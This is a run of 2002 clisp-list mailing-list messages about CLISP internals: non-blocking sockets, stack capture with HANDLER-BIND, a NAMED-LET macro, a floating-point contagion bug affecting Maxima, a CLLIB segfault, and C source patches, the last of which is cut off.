(Arseny said that FIONBIO will break some things - which ones?)

Alternatively, READ-SEQUENCE-NO-HANG may just put the socket into
non-blocking mode before the actual input call and then put it back
into the blocking mode.

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    >> I'm writing a Web CGI app in CLISP and at certain points where an
    >> error is signaled I would like to display the eval/call stack on the

 > please look at reploop.lisp - you need to bind some variable &c...

OK, figured it out; thanks.  FYI I ended up w/ the code at the
bottom. It will scan the stack at the point the error was raised and
list all the APPLY frames, plus the outermost EVAL frame (which should
be the one that rased the error).  It seems to work for me, and gives
me mostly what I want - to be able to see immediately on my Web error
page and log file roughly where things were.  Seeing the function
names I can quickly enough get to the places in the source files.

One problem I'm still having: in order for me to to use the thingy
below, I have to call it *myself* at the point of error, e.g.,

    (when bad-situation
          (error "Ooops: ~A" (get-stack-as-string)))

That's fine, however, what if underlying Lisp is throwing the error?
I would still like to take snapshot of the stack, _before_ it's
unwound, and include as part of my message.  So I need to somehow
override (or at least have some hook into) the built-in Lisp error
thrower, if that makes any sense.  How do I do that?

That aside, having this is 100 times better than what I had before (no
stack).

 > this is one of the places that __really__ need work.  any volunteers?

Compiled-in debug info (source file, position-in-file) would be great,
as it would lead one right to the line of source, and also do the
"right thing" for macro expansions - take you back to the macro
definition, not just show the expansion.  This compiled-in info should
probably be designed anticipating its role in all the future things
that might use it: source-level debugger, profiler, and test-coverage
tool.  I'll volunteer after I'm done learning Lisp :)

OK, here's that code:

; GET-STACK-AS-STRING - Get the call stack as a string
(defun get-stack-as-string (&optional (nskip 0))
"Get the call stack as a string, useful for inclusion in error
messages in batch or Web programs.  Optional arg skips over N initial
frames that may be on the stack as part of calling this routine,
so as to get to the frame that \"really\" caused the error."
  ; Skip to first relevant EVAL frame
  (do* ((result (make-string-output-stream))
        (mode 4)
        (frame (system::the-frame) (system::frame-up-1 frame mode))
        (last (system::frame-up frame 5))
        (count 0 (1+ count))
        (at-last nil))
       (at-last (get-output-stream-string result))
       (cond ((< count nskip) )
             ((= count nskip)
              (system::describe-frame result frame)
              (setf mode 5))
             ((equal frame last)
              (setf at-last t))
             (t
              (system::describe-frame result frame)))))


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John K. Hinsdale wrote:
>I would still like to take snapshot of the stack, _before_ it's
>unwound, and include as part of my message.  So I need to somehow
>override (or at least have some hook into) the built-in Lisp error
>thrower, if that makes any sense.  How do I do that?

That's the difference between HANDLER-BIND and HANDLER-CASE.

Regards,
	Jorg Hohle.


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> Scheme has a construct called a named let, which in addition to a normal
> let/let* construct arranges for a label to be created around the construct
> such that it can be invoked inside the construct.  This was a very elegant
> and tight construct for recursive loops, e.g.:
> 
> 	(let loop ((v-1 init-1)
> 	           (v-2 init-2))
> 	  ...
> 	  (loop (cdr v-1) (cdr v-2)))
> 
> This can easily be converted to:
> 
> 	(labels
>        ((loop (v-1 v-2)
>           ...
>           (loop (cdr v-1) (cdr v-2))))
> 	 (loop v-1 v-2))
> 
> I know, but does ANSI LISP provide such a macro/construct?  It's one of
> those "I'd use it if it existed" things.  I don't see such a cnstruct, but I
> thought I'd ask in case it's buried inside the spec somewhere.

ANSI CL does not provide it.  However, it is just one macro away.

    (defmacro named-let (name bindings &body forms)
      `(labels ((,name ,(mapcar #'first bindings)
		       ,@forms))
	 (,name ,@(mapcar #'second bindings))))


Your example will become

     (named-let looping ((x 1))
	   (when (> x 10)
	     (return-from loop 1234))
	   (print x)
	   (looping (1+ x)))

Note that it is not a good thing to name the NAMED-LET "LOOP" in
CL (hence the LOOPING), as you may have some "real" call to the CL
LOOP macro in the body.  This should come to no surprise to the
schemer accustomed at single namespace, no packages environments.

Just to be paranoid

    (defmacro named-let (name bindings &body forms)
      (when (string-equal name "LOOP")
        (warn "NAMED-LET called with name \"LOOP\":~@
               this may conflict with the ANSI LOOP macro."))
      `(labels ((,name ,(mapcar #'first bindings)
		       ,@forms))
	 (,name ,@(mapcar #'second bindings))))

Cheers

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Hello Sam,

Friday, October 04, 2002, 11:32:47 PM, you wrote:

> We already have READ-CHAR-NO-HANG and READ-BYTE-NO-HANG, so, I think,
> READ-SEQUENCE-NO-HANG is the right name, if we really need it.

>> select() does not tell you how many bytes of input you can read, or
>> how many bytes you can write, without blocking. Thus if you want to
>> avoid blocking, you have to read() or write() the bytes one by one,
>> which damages performance if there is not a computation intensive
>> counterpart on the Lisp side.
>> 
>> Therefore most Unices offer the ability to put a socket or file
>> descriptor into non-blocking mode.

> So why not add FIONBIO to SOCKET-OPTIONS and let the users call that
> before READ-SEQUENCE?

> (Arseny said that FIONBIO will break some things - which ones?)

At least you should then check for [WSA]EWOULDBLOCK error in all reads
and writes. send() also can return less than data length supplied.
Maybe there is something else, need to look into the code. I'm just
saying it's not enough just to put a socket in nonblocking mode - need
to check all the code to handle it (FIXME).

Next, to get rid of WSACancelBlockingCall I wanted to make all sockets
nonblocking and emulate blocking with select() loops. It is possible
(FIXME).

So maybe make a socket-stream option BLOCKING and use it in that
select loops and in READ-SEQUENCE ?

Advantages:
1. can be queried (AFAIK blocking mode of socket can't be checked)
  so READ-SEQUENCE can determine how to behave.
2. Lowlevel code handling just one socket mode, simpler.
3. no WSACancelBlockingCall.

-- 
Best regards,
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    >> I would still like to take snapshot of the stack, _before_ it's

 > That's the difference between HANDLER-BIND and HANDLER-CASE.

Got it, thanks.  just what I wanted.  My call stack is now getting
(approximately) displayed, so I won't go back to perl or Java :)




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On Fri, 4 Oct 2002, John K. Hinsdale wrote:

> Date: Fri, 4 Oct 2002 19:09:10 -0400
> From: John K. Hinsdale <hin@alma.com>
> To: Joerg-Cyril.Hoehle@t-systems.com
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> 
>     >> I would still like to take snapshot of the stack, _before_ it's
> 
>  > That's the difference between HANDLER-BIND and HANDLER-CASE.
> 
> Got it, thanks.  just what I wanted.  My call stack is now getting
> (approximately) displayed, so I won't go back to perl or Java :)

It was said by Kent Pitman that HANDLER-CASE is a construct for people
coming from languages in which the only thing that you can do with an
exception is to contain it. ;)

You have RESTART-CASE, RESTART-BIND, HANDLER-CASE and HANDLER-BIND.
The two that you usually want are RESTART-CASE and HANDLER-BIND.

The reason for that is that the selected restart site is where
unwinding ultimately happens. Consequently, most restarts want to
perform a non-local exit to the restart point, thus the case construct
is most convenient. With restart-bind, the restart function would have
to set up a non-local exit. Or it could even return back to the error
handler, which would probably be confused as heck, not expecting the
evaluation of (invoke-restart ...) to return!

Whereas at the condition handling site, you don't want to unwind right
away, because you want to scan the dynamic context for available
restarts, which might be established at a or lower level of nesting
than the handler.  Unwinding is explicitly initiated by invoking a
restart in one of various ways. Moreover, it makes perfect sense for a
handler function to just return; by doing so it declines to handle
the error, creating an opportunity for the error search to continue,
without any unwinding having taken place which would throw away useful
information.

With HANDLER-CASE, you completely ignore restarts; in effect you
provide your own restart in the form of the implicit non-local exit.



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Hi,

Saturday, October 05, 2002, 2:06:36 AM, you wrote:

> Note that it is not a good thing to name the NAMED-LET "LOOP" in
> CL (hence the LOOPING), as you may have some "real" call to the CL
> LOOP macro in the body.  This should come to no surprise to the
> schemer accustomed at single namespace, no packages environments.

Why do you call it looping ? Isn't it a recursion ?

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> > Note that it is not a good thing to name the NAMED-LET "LOOP" in
> > CL (hence the LOOPING), as you may have some "real" call to the CL
> > LOOP macro in the body.  This should come to no surprise to the
> > schemer accustomed at single namespace, no packages environments.
>
> Why do you call it looping ? Isn't it a recursion ?

I was a Scheme programmer before I was a Common LISP programmer.  Since
Scheme is guarenteed to be properly tail recursive I quickly found that a
named let was really the only construct I ever used for iteration/recursion,
i.e. I stopped thinking about which control behavior wss being exhibited.

Yes, properly speaking it is recursion, but it acts like a loop.  I fear I
will *never* feel comfortable with loop.  It's big and bulky and clumsy and
I don't have a feel for it.  I think I need to buy "LOOP For Dummies", which
includes examples and test questions at the end of each chapter. :)

	Dave




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> From: "Dave Richards" <dave@synergy.org>
> Date: Fri, 4 Oct 2002 20:54:31 -0700
> 
> > > Note that it is not a good thing to name the NAMED-LET "LOOP" in
> > > CL (hence the LOOPING), as you may have some "real" call to the CL
> > > LOOP macro in the body.  This should come to no surprise to the
> > > schemer accustomed at single namespace, no packages environments.
> >
> > Why do you call it looping ? Isn't it a recursion ?
> 
> I was a Scheme programmer before I was a Common LISP programmer.  Since
> Scheme is guarenteed to be properly tail recursive I quickly found that a
> named let was really the only construct I ever used for iteration/recursion,
> i.e. I stopped thinking about which control behavior wss being exhibited.
> 
> Yes, properly speaking it is recursion, but it acts like a loop.  I fear I
> will *never* feel comfortable with loop.  It's big and bulky and clumsy and
> I don't have a feel for it.  I think I need to buy "LOOP For Dummies", which
> includes examples and test questions at the end of each chapter. :)
> 
> 	Dave

The problem with loop is that it's not lisp.


    ;; Common-Lisp code here
    (fun arg arg arg)
    
    (loop ;; loop code here
       
       for i from 0 to 10
       collect i into reslist
       do

            ;; Common-Lisp code here
            (print i)

       ;; loop code from here
       finally return reslist)

    ;; Common-Lisp code here   


Otherwise, one can get accustomed to it.

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Hello Dave,

Saturday, October 05, 2002, 1:54:31 PM, you wrote:

> Yes, properly speaking it is recursion, but it acts like a loop.  I fear I
> will *never* feel comfortable with loop.  It's big and bulky and clumsy and
> I don't have a feel for it.  I think I need to buy "LOOP For Dummies", which
> includes examples and test questions at the end of each chapter. :)

I found CL loop macro outstanding, greatest loop of all programming
languages and urge you to love it too! Not that I know all the details
of it though. "Nonfunctional", loop has it's own theory and practice.
And there is no need to buy a book - try to start with CLTL2,
Loop, Iteration control (26.6). Seven for/as clauses - the core of
loop as I see it.

There is examples in chapter, but no test questions ;)

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Date: Sun Oct  6 01:34:01 2002
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Hi!

It seems that there is some floating point bug in
recently released clisp 2.30.  I've been trying to
compile Maxima CVS with clisp 2.30 and suddenly
I've got large number of

WARNING:
Floating point operation combines numbers of different precision.
See ANSI CL 12.1.4.4 and the CLISP impnotes for details.
The result's actual precision is controlled by
*FLOATING-POINT-CONTAGION-ANSI*.
To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL.

warnings in several Maxima modules floating point
evaluation of elliptic and Bessel functions.
Of course I can suppress these warnings by
setting *WARN-ON-FLOATING-POINT-CONTAGION* to NIL
but I'm perfectly sure that they are spurious
and caused by some clisp error because

1. Although Maxima can be compiled it now gives
wrong value for Bessel and elliptic functions
for both values of *FLOATING-POINT-CONTAGION-ANSI*
(T or NIL). Result is not totally meaningless but
in both cases we get right digits only for single
precision while double is expected.

2. With clisp 2.29 everything is just fine.

I tried to apply recent patch from CVS
to lisparit.d but the problem still
persist.

Best wishes,


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> * In message <3DA00366.3010104@mail.ru>
> * On the subject of "[clisp-list] floating point problems with clisp 2.30"
> * Sent on Sun, 06 Oct 2002 12:33:26 +0300
> * Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:

> It seems that there is some floating point bug in recently released
> clisp 2.30.  I've been trying to compile Maxima CVS with clisp 2.30
> and suddenly I've got large number of
> WARNING:
> Floating point operation combines numbers of different precision.
> See ANSI CL 12.1.4.4 and the CLISP impnotes for details.
> The result's actual precision is controlled by
> *FLOATING-POINT-CONTAGION-ANSI*.
> To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL.

if you are not "combining numbers of different precision", this is a bug.
please isolate it to specific funcalls (by setting *BREAK-ON-SIGNALS*
to T and looking at the backtrace) and report it to <clisp-list>.

Please investigate every single case when you get the warning.

Thanks.

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When loading CLLIB, CLISP 2.30 segfaults on a Debian GNU/Linux with
375Mb of memory, unlimited stack size.  Can anyone reproduce this with
Debian or other OSes?

I've tried this with the latest CLISP package from Debian/unstable, so
it could be a problem specific to that version.

This happens under a standard (latest CVS) CLOCC installation, by
running (MK:OOS 'CLLIB 'LOAD) in CLISP.

I tried loading the files individually, and some crash, others don't.
log.lisp is one, rng.lisp also dies horribly.

[1]> (load (translate-logical-pathname "clocc:src;cllib;rng"))
;; Loading file /home/fc/werk/lisp/clocc/clocc/src/cllib/rng.fas ...
;;  Loading file /home/fc/werk/lisp/clocc/clocc/src/cllib/base.fas ...
;;   Loading file /home/fc/werk/lisp/clocc/clocc/src/port/ext.fas ...
;;   Loaded file /home/fc/werk/lisp/clocc/clocc/src/port/ext.fas
;;   Loading file /home/fc/werk/lisp/clocc/clocc/src/port/sys.fas ...
;;    Loading file /home/fc/werk/lisp/clocc/clocc/src/port/path.fas ...
;;    Loaded file /home/fc/werk/lisp/clocc/clocc/src/port/path.fas
;;   Loaded file /home/fc/werk/lisp/clocc/clocc/src/port/sys.fas
;;  Loaded file /home/fc/werk/lisp/clocc/clocc/src/cllib/base.fas
;;  Loading file /home/fc/werk/lisp/clocc/clocc/src/cllib/withtype.fas ...
;;  Loaded file /home/fc/werk/lisp/clocc/clocc/src/cllib/withtype.fas
*** - handle_fault error2 ! address = 0x2045313C not in [0x20204000,0x203BCC48) !
SIGSEGV cannot be cured. Fault address = 0x2045313C.
Segmentation fault

Strangely, on the particular case of log.lisp, when I do a

(load (translate-logical-pathname "clocc:src;cllib;log"))

under CLISP's prompt, it loads fine.  When I put it into .CLISPRC it
crashes.

Thanks!

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> I tried loading the files individually, and some crash, others don't.
> log.lisp is one, rng.lisp also dies horribly.

Hmm ... this behaviour is erratic on individual CLLIB files.  The
problem can be safely reproduced on my system using MK:OOS 'CLLIB 'LOAD
only.  Tried both 2.4.19-ac4 and 2.5.40 kernel versions.

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Sam Steingold ?????:

 >>* In message <3DA00366.3010104@mail.ru>
 >>* On the subject of "[clisp-list] floating point problems with clisp 
2.30"
 >>* Sent on Sun, 06 Oct 2002 12:33:26 +0300
 >>* Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
 >>
 >>
 >
 >
 >
 >>It seems that there is some floating point bug in recently released
 >>clisp 2.30.  I've been trying to compile Maxima CVS with clisp 2.30
 >>and suddenly I've got large number of
 >>WARNING:
 >>Floating point operation combines numbers of different precision.
 >>See ANSI CL 12.1.4.4 and the CLISP impnotes for details.
 >>The result's actual precision is controlled by
 >>*FLOATING-POINT-CONTAGION-ANSI*.
 >>To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL.
 >>
 >>
 >
 >if you are not "combining numbers of different precision", this is a bug.
 >please isolate it to specific funcalls (by setting *BREAK-ON-SIGNALS*
 >to T and looking at the backtrace) and report it to <clisp-list>.
 >
 >Please investigate every single case when you get the warning.
 >
 >Thanks.
 >
 >
 >
Here is one piece of the problem which explains
some excessive warnings

[1]> (expt 5.0d0 0.3d0)

WARNING:
Floating point operation combines numbers of different precision.
See ANSI CL 12.1.4.4 and the CLISP impnotes for details.
The result's actual precision is controlled by
*FLOATING-POINT-CONTAGION-ANSI*.
To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL.
1.6206565966927624d0
[2]>

Obviously warning is not required here.

Unfortunately this doesn't explain wrong numeric values
which I get for some special functions in Maxima with clisp 2.30
since the value above is correct.

Best wishes,

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> * In message <3DA094CE.3060307@mail.ru>
> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
> * Sent on Sun, 06 Oct 2002 22:53:50 +0300
> * Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
>
> Here is one piece of the problem which explains
> some excessive warnings
> 
> [1]> (expt 5.0d0 0.3d0)
> 
> WARNING:
> Floating point operation combines numbers of different precision.
> See ANSI CL 12.1.4.4 and the CLISP impnotes for details.
> The result's actual precision is controlled by
> *FLOATING-POINT-CONTAGION-ANSI*.
> To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL.
> 1.6206565966927624d0
> [2]>

thanks.
this is fixed by the appended patch.

> Unfortunately this doesn't explain wrong numeric values which I get
> for some special functions in Maxima with clisp 2.30 since the value
> above is correct.

please send _all_ cases when you get the above warning.

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--- realelem.d.~1.17.~	Thu Sep 12 04:14:11 2002
+++ realelem.d	Sun Oct  6 18:16:53 2002
@@ -250,7 +250,7 @@
                    return F_to_SF(x),
                    return F_to_FF(x),
                    return F_to_DF(x),
-                   return F_to_LF(x,I_to_UL(O(LF_digits))),
+                   return F_to_LF(x,lfloat_length(TheLfloat(y))),
                    pushSTACK(x), x = popSTACK());
 }
 local object RA_R_float_F (object x, object y)
@@ -259,7 +259,7 @@
                    return RA_to_SF(x),
                    return RA_to_FF(x),
                    return RA_to_DF(x),
-                   return RA_to_LF(x,I_to_UL(O(LF_digits))),
+                   return RA_to_LF(x,lfloat_length(TheLfloat(y))),
                    pushSTACK(x), x = popSTACK());
 }
 local object R_R_float_F (object x, object y)


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Hi,

Is somebody using Lisp in combination with Java.

I saw the tool jacol on sourceforge.Any feedback welcomed.

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> * In message <85y99b5tgf.fsf@afx.raw.no-ip.com>
> * On the subject of "[clisp-list] Re: CLISP segfaults when loading parts of CLLIB?"
> * Sent on 06 Oct 2002 15:10:40 -0300
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> > I tried loading the files individually, and some crash, others don't.
> > log.lisp is one, rng.lisp also dies horribly.
> 
> Hmm ... this behaviour is erratic on individual CLLIB files.  The
> problem can be safely reproduced on my system using MK:OOS 'CLLIB 'LOAD
> only.  Tried both 2.4.19-ac4 and 2.5.40 kernel versions.

Since I cannot reproduce this behavior (with the current CVS), I will
need your extensive help in debugging this.
are you willing to do some heavy-duty gdb GC debugging?

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> * In message <3DA094CE.3060307@mail.ru>
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> Unfortunately this doesn't explain wrong numeric values which I get
> for some special functions in Maxima with clisp 2.30 since the value
> above is correct.

note that BESSEL &co call explicit (FLOAT * 1.0) which can easily
result in floating point contagion.

again, _please_ supply me with an test example where a CLISP built-in
function produces incorrect results (either WRT precision, of value or
whatever).

thanks.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <3DA094CE.3060307@mail.ru>
    >> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
    >> * Sent on Sun, 06 Oct 2002 22:53:50 +0300
    >> * Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
    >> 
    >> Unfortunately this doesn't explain wrong numeric values which I get
    >> for some special functions in Maxima with clisp 2.30 since the value
    >> above is correct.

    Sam> note that BESSEL &co call explicit (FLOAT * 1.0) which can easily
    Sam> result in floating point contagion.

Can you point out where that is?  I can't find any such things in the
current sources.

Also, be aware that maxima defines (float x) to be (lisp::float x 1d0)
somwhere.  Very confusing until I realized that.

Ray


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> * In message <4nd6qmb4q7.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
> * Sent on 07 Oct 2002 12:20:32 -0400
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> note that BESSEL &co call explicit (FLOAT * 1.0) which can easily
>     Sam> result in floating point contagion.
> 
> Can you point out where that is?  I can't find any such things in the
> current sources.

I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp

> Also, be aware that maxima defines (float x) to be (lisp::float x 1d0)
> somwhere.  Very confusing until I realized that.

yuk.
this goes together with (re)defining TYPE-ERROR, LOOP-FINISH, IF &c.
someone's gotta do a cleanup.

at any rate, I would greatly appreciate some test cases
(based on today's CVS).


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <4nd6qmb4q7.fsf@rtp.ericsson.se>
    >> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
    >> * Sent on 07 Oct 2002 12:20:32 -0400
    >> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
    >> 
    >> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >> 
    Sam> note that BESSEL &co call explicit (FLOAT * 1.0) which can easily
    Sam> result in floating point contagion.
    >> 
    >> Can you point out where that is?  I can't find any such things in the
    >> current sources.

    Sam> I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp

I think these are ok because maxima redefines float. (Well, not
really.  This float is defined in the maxima package, not the lisp
package.)

    >> Also, be aware that maxima defines (float x) to be (lisp::float x 1d0)
    >> somwhere.  Very confusing until I realized that.

    Sam> yuk.
    Sam> this goes together with (re)defining TYPE-ERROR, LOOP-FINISH, IF &c.
    Sam> someone's gotta do a cleanup.

I think that's slated for a later release.  There are lots of silly
issues like this such as macros redefined as functions and vice versa,
wrong number of args in various places (maybe), and so on.

Ray


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <4nd6qmb4q7.fsf@rtp.ericsson.se>
    >> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
    >> * Sent on 07 Oct 2002 12:20:32 -0400
    >> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
    >> 
    >> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >> 
    Sam> note that BESSEL &co call explicit (FLOAT * 1.0) which can easily
    Sam> result in floating point contagion.
    >> 
    >> Can you point out where that is?  I can't find any such things in the
    >> current sources.

    Sam> I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp

Oh, what version are you looking at?  I can't find (defun bessel ...)
in bessel.lisp in my copy of the CVS sources.

Ray


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> * In message <4n3crib3f4.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
> * Sent on 07 Oct 2002 12:48:47 -0400
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> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp
> 
> Oh, what version are you looking at?  I can't find (defun bessel ...)
> in bessel.lisp in my copy of the CVS sources.

RCS file: /home/cvs/maxima/maxima/src/bessel.lisp,v
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> * In message <4n7kgub3in.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
> * Sent on 07 Oct 2002 12:46:40 -0400
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> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> yuk.
>     Sam> this goes together with (re)defining TYPE-ERROR, LOOP-FINISH, IF &c.
>     Sam> someone's gotta do a cleanup.
> 
> I think that's slated for a later release.  There are lots of silly
> issues like this such as macros redefined as functions and vice versa,
> wrong number of args in various places (maybe), and so on.

you will go a long way if you look at the CLISP warnings and eliminate
them.  Or give me CVS write access and I will do that.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <4n3crib3f4.fsf@rtp.ericsson.se>
    >> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
    >> * Sent on 07 Oct 2002 12:48:47 -0400
    >> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
    >> 
    >> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >> 
    Sam> I meant (FLOAT N) and (FLOAT (F* 2 N)) in (DEFUN BESSEL) in bessel.lisp
    >> 
    >> Oh, what version are you looking at?  I can't find (defun bessel ...)
    >> in bessel.lisp in my copy of the CVS sources.

    Sam> RCS file: /home/cvs/maxima/maxima/src/bessel.lisp,v
    Sam> Working file: bessel.lisp
    Sam> head: 1.2
    Sam> line 477
    Sam> Root: :pserver:anonymous@cvs.math.utexas.edu:/home/cvs/maxima

Ok, that explains it.  The maxima code has moved to
maxima.sourceforge.net.  A lot of the issues you've mentioned,
however, still exist there.

I think the fixes you're interested in are meant for something after
the imminent 5.9.0 release.  5.9.0 is just an "update" to 5.6 so that
clisp, gcl, and cmucl can build maxima.

Ray


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Sam Steingold write:

>>* In message <3DA094CE.3060307@mail.ru>
>>* On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
>>* Sent on Sun, 06 Oct 2002 22:53:50 +0300
>>* Honorable "Vadim V. Zhytnikov" <vvzhy@mail.ru> writes:
>>
>>Unfortunately this doesn't explain wrong numeric values which I get
>>for some special functions in Maxima with clisp 2.30 since the value
>>above is correct.
>>    
>>
>
>note that BESSEL &co call explicit (FLOAT * 1.0) which can easily
>result in floating point contagion.
>
>again, _please_ supply me with an test example where a CLISP built-in
>function produces incorrect results (either WRT precision, of value or
>whatever).
>
>  
>
Unfortunately I can't provide any simple example yet but below are results
which make me think that something is wrong with clisp 2.30 or at least
something is wrong in combination Maxima + clisp 2.30.
All results are obtained on different lisps with Maxima CVS (SourceForge):
-------------------------------------------------
CMUCL 18d
(C1) gamma(1.1);

(D1)                     .9513507698668733
-------------------------------------------------
GCL 2.5.0 CVS

(C1) gamma(1.1);

(D1)                    0.95135076986687
-------------------------------------------------
CLISP 2.29
(C1) gamma(1.1);
(D1)                     .9513507698668733
-------------------------------------------------
CLISP 2.30
(C1) gamma(1.1);

WARNING:
Floating point operation combines numbers of different precision.
See ANSI CL 12.1.4.4 and the CLISP impnotes for details.
The result's actual precision is controlled by
*FLOATING-POINT-CONTAGION-ANSI*.
To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL.
<snip>
(D1)                    0.9513507
(C2) :lisp (setq custom::*floating-point-contagion-ansi* t)
T
(C2) gamma(1.1);

WARNING:
Floating point operation combines numbers of different precision.
See ANSI CL 12.1.4.4 and the CLISP impnotes for details.
The result's actual precision is controlled by
*FLOATING-POINT-CONTAGION-ANSI*.
To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL.
<snip>
(D2)                          .9513507355077885
------------------------------------------------------

Notice that all lisps including clisp 2.29 (and 2.28, and 2.27)
give exactly the same answer and only clisp 2.30
result differs.   Actual computation is performed by
gammafloat and gamma-lanczos functions in csimp2.lisp.

I'm glad that Raymond pointed out that Maxima redefines
float.  It solves some mystery to me.  Originally I extracted
gamma-lanczos into separate file to play with and obtained
quite strange results which differ from ones obtained from
Maxima.  Now I understand why.

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> * In message <3DA1F966.7090101@yandex.ru>
> * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30"
> * Sent on Tue, 08 Oct 2002 00:15:18 +0300
> * Honorable "Vadim V. Zhytnikov" <vvzhy@yandex.ru> writes:
>
> Sam Steingold write:
> 
> >again, _please_ supply me with an test example where a CLISP built-in
> >function produces incorrect results (either WRT precision, of value
> >or whatever).

> Unfortunately I can't provide any simple example yet

try (setq *break-on-warnings* t)
please do try to make a stand-alone (non-maxima) case!

I just fixed some (but not all) problems.

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Index: src/comptran.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/comptran.d,v
retrieving revision 1.13
retrieving revision 1.16
diff -u -w -b -r1.13 -r1.16
--- src/comptran.d	11 Sep 2002 23:15:23 -0000	1.13
+++ src/comptran.d	7 Oct 2002 21:47:37 -0000	1.16
@@ -31,16 +31,27 @@
     return R_exp_R(x,start_p,end_p);
   } else { /* x=a+bi */
     pushSTACK(TheComplex(x)->c_real); /* save a */
-    R_cos_sin_R_R(TheComplex(x)->c_imag,start_p,NULL); /* (cos b), (sin b) */
-    /* stack layout: a, cos(b), sin(b). */
+    pushSTACK(TheComplex(x)->c_imag); /* save b */
+    pushSTACK(R_R_contagion_R(STACK_0,STACK_1));
+    /* since x is complex, the result is a float anyway */
+    if (R_rationalp(STACK_1)) /* b */
+      STACK_1 = RA_R_float_F(STACK_1,STACK_0);
+    if (R_rationalp(STACK_2)) /* a */
+      STACK_2 = RA_R_float_F(STACK_2,STACK_0);
+    if (start_p) {
+      STACK_1 = F_extend2_F(STACK_1); /* b */
+      STACK_2 = F_extend2_F(STACK_2); /* a */
+    }
+    R_cos_sin_R_R(STACK_1,false,NULL); /* (cos b), (sin b) */
+    /* stack layout: a, b, contagion, cos(b), sin(b). */
     /* b != Fixnum_0 ==> sin(b) ~= Fixnum_0. */
-    STACK_2 = R_exp_R(STACK_2,start_p,NULL); /* (exp a) */
-    /* stack layout: exp(a), cos(b), sin(b). */
+    STACK_2 = R_exp_R(STACK_4,false,NULL); /* (exp a) */
+    /* stack layout: a, exp(a), cos(b), sin(b). */
     STACK_0 = R_R_mal_R(STACK_2,STACK_0); /* (* (exp a) (sin b)) != Fixnum_0 */
     STACK_1 = R_R_mal_R(STACK_2,STACK_1); /* (* (exp a) (cos b)) */
     x = R_R_complex_C(F_R_float_F(STACK_1,*end_p),
                       F_R_float_F(STACK_0,*end_p)); /* (complex ... ...) */
-    skipSTACK(3); return x;
+    skipSTACK(5); return x;
   }
 }
 
@@ -166,7 +177,7 @@
         pushSTACK(a); pushSTACK(b);
         STACK_1 = N_log_N(STACK_1,true,&STACK_1); /* (log a) */
         STACK_0 = N_log_N(STACK_0,true,&STACK_0); /* (log b) */
-        a = N_N_durch_N(a,b); /* divide */
+        a = N_N_durch_N(STACK_1,STACK_0); /* divide */
         skipSTACK(2); return a;
       }
     }
@@ -502,10 +513,11 @@
     STACK_3 = R_R_contagion_R(STACK_3,STACK_2);
     STACK_2 = x = R_exp_R(R_minus_R(STACK_2),false,NULL); /* (exp (- b)) */
     /* stack layout: exp(-b), cos(a), sin(a). */
-    STACK_0 = R_R_mal_R(x,STACK_0); /* (* (exp (- b)) (sin a)) */
+    STACK_0 = R_R_mal_R(x,STACK_0); /* (* (exp (- b)) (sin a)), maybe 0 */
     x = R_R_mal_R(STACK_2,STACK_1); /* (* (exp (- b)) (cos a)) */
     x = R_R_complex_N(F_R_float_F(x,STACK_3), /* (complex ... ...) */
-                      F_R_float_F(STACK_0,STACK_3));
+                      eq(Fixnum_0,STACK_0) ? Fixnum_0
+                      : F_R_float_F(STACK_0,STACK_3));
     skipSTACK(4); return x;
   }
 }

Index: src/lisparit.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/lisparit.d,v
retrieving revision 1.41
retrieving revision 1.43
diff -u -w -b -r1.41 -r1.43
--- src/lisparit.d	24 Sep 2002 17:55:51 -0000	1.41
+++ src/lisparit.d	7 Oct 2002 21:13:29 -0000	1.43
@@ -980,8 +980,12 @@
 # (EXP number), CLTL S. 203
 LISPFUNN(exp,1) {
   check_number(STACK_0);
-  VALUES1(N_exp_N(STACK_0,true,&STACK_0));
-  skipSTACK(1);
+  if (complexp(STACK_0))
